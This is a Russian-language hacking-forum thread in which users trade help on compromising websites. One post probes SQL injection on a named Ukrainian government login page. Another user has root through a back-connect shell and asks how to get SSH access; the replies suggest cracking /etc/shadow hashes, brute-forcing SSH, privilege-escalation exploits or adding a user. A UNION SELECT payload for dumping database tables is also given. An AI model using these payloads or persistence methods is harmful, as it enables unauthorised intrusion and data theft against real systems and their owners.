http://www.pz.gov.ua/login/login.php?lid=1
при подставлении кавычки в поле логин...

шибка во время выполнения запроса: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

а так

http://www.pz.gov.ua/login/login.php?lid=-1

ORA-00936: missing expression

это как понимать? один сайт работает на разных БД?

_http://forum.antichat.ru/showpost.php?p=1725903&postcount=11344

ну там еще и мускуль...

Получил рута через бэк-коннект. Как теперь сделать чтобы смог подключиться через putty? Мб расшифровать хэш рута с /etc/shadow? Есть еще какие-то способы?

есть, сбрутить пароль SSH или применть сплойт для поднятия прав до рута

мб добавить юзера?

ззы

Pashkela, а по-моему :
уже как бы подразумевает,что у чела рут..не?

Я написал что права рута уже есть! Только через cmd, нада сделать чтобы смог подключится через пути (ssh)

как?

2 $n@ke:

да, я как всегда невмнимателен

Здравствуйте!
Товарищи нужна ваша помощь.
В общем проблема заключается в следующем:
Нашел одну уязвимость на сайте в общем определил базу, колонки.
Сделал запрос след. вида:
http://site.php/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_co ncat(column_name),14,15,16,17,18,19,20,21,22,23,24 ,25+from+information_schema.columns+where+table_na me=0x7573657273--
колонки видно все норм
далее
http://site.php/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,user,14, 15,16,17,18,19,20,21,22,23,24,25+from+users--
он выдает ошибку след. содержания:
Query failed: Table 'site.users' doesn't exist
походу тут стоят ограничения.
как обойти подскажите плиз, какой надо сформировать запрос?